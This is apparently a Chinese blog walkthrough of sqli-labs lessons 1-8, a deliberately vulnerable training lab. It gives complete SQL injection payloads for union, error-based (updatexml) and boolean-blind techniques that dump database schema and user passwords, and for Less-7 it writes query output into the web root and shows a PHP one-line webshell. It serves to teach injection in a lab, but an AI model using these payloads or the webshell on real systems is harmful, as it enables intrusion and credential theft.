sql-labs(1-8关)

mysql数据结构

在练习靶场前我们需要了解以下mysql数据库结构,mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。了解这些对于我们之后去查询数据有很大帮助。我们前面机关讲解比较详细后面就比较简单了。

一.Less-1

判断是否存在sql注入

1.提示你输入数字值的ID作为参数,我们输入?id=1

**2.**通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。

3.接下来我们判断sql语句是否是拼接,且是字符型还是数字型。

4.可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。

联合注入

**第一步:**首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=-1'union select 1,2,3--+

**第二步:**爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1'union select 1,2,3--+

**第三步:**获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。

?id=-1' union select 1,database(),version() --+

information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

得到库名为security

接下来查询库下面的表:

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查询到表名为:emails,referers,uagents,users 一共是4个表

第五步:爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

**第六步:**通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

二.Less-2

和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。那步骤和我们第一关是差不多的:

"SELECT * FROM users WHERE id=$id LIMIT 0,1"

"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。

?id=1 order by 3

?id=-1 union select 1,2,3

?id=-1 union select 1,database(),version()

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

三.Less-3

输入:?id=1(2,3...)时都正常

但是输入?id=1'时页面报错,并且报错信息中出现了括号

可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

构造本题的payload,就是对前两关的一个变形

?id=2')--+

?id=1') order by 3--+

?id=-1') union select 1,2,3--+

?id=-1') union select 1,database(),version()--+

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

四.Less-4

输入?id=1\ 然后查看报错信息,回显提示本关是双引号加括号的闭合方式

?id=1") order by 3--+

?id=-1") union select 1,2,3--+

?id=-1") union select 1,database(),version()--+

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

所以构造出来payload,只需要把前面几关的闭合方式换掉

五.Less-5

第五关根据页面结果得知是字符型(而且是单引号)但是和前面四关还是不一样是因为页面虽然有东西。但是只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。

复制代码
1.第五关是单引号注入,没有显示位,只有正确页面和错误页面对比
?id=1'

2.用--+进行注释,页面正常显示
?id=1'--+
第二步:采用报错注入(updatexml函数)

updatexml函数-报错注入原理学习-CSDN博客

1.爆出数据库名和数据库版本号(0x7e是~的转移,用来更好的分清内容)

复制代码
?id=1' and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+

得到库名和库的版本

复制代码
2.爆出数据库下的所有表名
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+
复制代码
3.爆出表下的所有字段
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+
复制代码
4.爆出字段下的内容(updatexml函数报错内容长度不能超过32个字符,所以不能查看全部的内容,这里也可以用limit一个一个的来进行查看)
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),1) --+
#其他字段内容也可用这个方法一个一个查看

......

六.Less-6

根据报错回显得知是双引号闭合方式

?id=1" --+ 页面正常回显

剩下的步骤和第五关差不多,但是需要注意是双引号闭合

?id=1" and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+

复制代码
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+

?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+

复制代码
?id=1" and updatexml(1,concat(0x7e,(select username from users limit 0,1)),1) --+

......

七.Less-7

页面显示use outfile意思是利用文件上传来做

1.最终判断出来是单引号加双括号闭合的方式

2.测一下回显

?id=1')) order by 3--+ 回显正常 You are in.... Use outfile......

判断回显位有三个。

该关卡需要用到文件写入操作,所以需要开启MySQL中的文件写入

进入MySQL下的bin目录,用命令行连接数据库

查看是否开启文件写入

show variables like '%secure%';

需要修改secure_file_priv参数值

secure_file_priv='/'

NULL:限制mysql服务不允许导入/导出;

/tmp/:限制mysql的导入或导出只发生在/tmp/目录下;

没有具体值:不对mysql的导入/导出做限制

打开my.ini文件

查看修改是否成功

进行写入操作,写入一句话木马<?php @eval($_post['password']);?>

用文件写入爆出数据库信息

http://sqli.com/Less-7/?id=1')) union select user(),database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile 'D:\\site\\phpStudy_64\\phpstudy_pro\\WWW\\sqli\\Less-7\\1.txt' --+

http://sqli.com/Less-7/?id=1')) union select version(),@@version_compile_os,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') into outfile 'D:\\site\\phpStudy_64\\phpstudy_pro\\WWW\\sqli\\Less-7\\2.txt' --+

完成

八.Less-8

用and 1=1 和 and 1=2测试,发现id=1的情况都是正常的,排除数字型。直接提交id=1' 发现页面异常,重点来了,页面异常却没有因为闭合的问题返回报错信息,而是页面什么都没有。那果断用布尔盲注,通过ture和false来猜测数据库相关信息。

1.直接提交?id=1' --+ 页面回显正常,这就像正常返回ture(正常页面),异常返回false(页面空白页面)。所以判断闭合方式为单引号闭合

补充:如果无论注入语句是正确还是错误的,都返回正常页面,那么这个就要用时间盲注

2.爆字段个数

?id=1' order by 3-++

根据回显可知字段个数为3

3.猜测库名的长度

id=1' and (length(database()))>7--+

?id=1' and (length(database()))>8--+

根据回显可以知道,数据库名的长度为8,因为当我们执行让它大于8时,页面没有回显

(一开始可以从大于1开始试,然后根据回显报错再缩小查找范围)

4.猜测数据库名

?id=1' and ascii(substr(database(),1,1))>114 --+

发现大于114正常,大于115页面false状态。所以数据库名第一个字符ascii码为115,通过ascii码查询发现是字符's'。

我们要重复此操作八次,才能猜出数据库名,方法和上面一样,就是把substr(database(),2,1)一直递增到8,最后得到数据库名为security(每一个英文字母都有自己对应的ascii码值)

5.猜表名的长度

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+ (结果为4)

判断第一个表的长度

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 --+(结果为6)

通过limit 0,1递增标注数字猜其他表名长度。

得到第一个表名长6,第二个表名长8,第三个表名长6,第四个长度表名长5

6.判断表的字符

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >79 --+

说明表中第一个字符的ASCII值大于79

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+

第一个值为:e,看一下解释如何往下进行

第二个字符为m:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 --+

就这样依次进行得到表名:emails/users

7.爆字段列数

?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 --+

8.获取字段的列名

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 --+

第一列第一个字符为:i

第二个为d:?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),2,1))=100 --+

依次求第二列:

第一个字符:u

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 1,1),1,1))=117 --+

最终得到:

第一列名:id

第二列名:username

第三列名:password

9.获取表中的数据

获取条数:

?id=1' and (select count(*) from users)=13 --+(为13条)

判断数据的长度:

?id=1' and length((select id from users limit 0,1))=1 --+(长度为1)

获取数据:

select id from users limit 0,1;

获取username中数据

获取password中数据

可见账号为Dumb 密码为Dumb

判断长度:

?id=1' and length((select username from users limit 0,1))=4 --+

判断数据:

?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+

可见username中第一个字符为:D

然后就这样依次进行得到username:Dumb,password:Dumb

小结:这样手注的方法太慢了,而且程序十分的复杂(如果遇到盲注的题目建议使用脚本或者bp)

相关推荐
指尖上跳动的旋律1 小时前
shell脚本定义特殊字符导致执行mysql文件错误的问题
数据库·mysql
一勺菠萝丶1 小时前
MongoDB 常用操作指南(Docker 环境下)
数据库·mongodb·docker
lucky_syq2 小时前
Hive SQL和Spark SQL的区别?
hive·sql·spark
m0_748244832 小时前
StarRocks 排查单副本表
大数据·数据库·python
C++忠实粉丝2 小时前
Redis 介绍和安装
数据库·redis·缓存
wmd131643067122 小时前
将微信配置信息存到数据库并进行调用
数据库·微信
是阿建吖!2 小时前
【Linux】基础IO(磁盘文件)
linux·服务器·数据库
凡人的AI工具箱3 小时前
每天40分玩转Django:Django国际化
数据库·人工智能·后端·python·django·sqlite
ClouGence3 小时前
Redis 到 Redis 数据迁移同步
数据库·redis·缓存
m0_748236583 小时前
《Web 应用项目开发:从构思到上线的全过程》
服务器·前端·数据库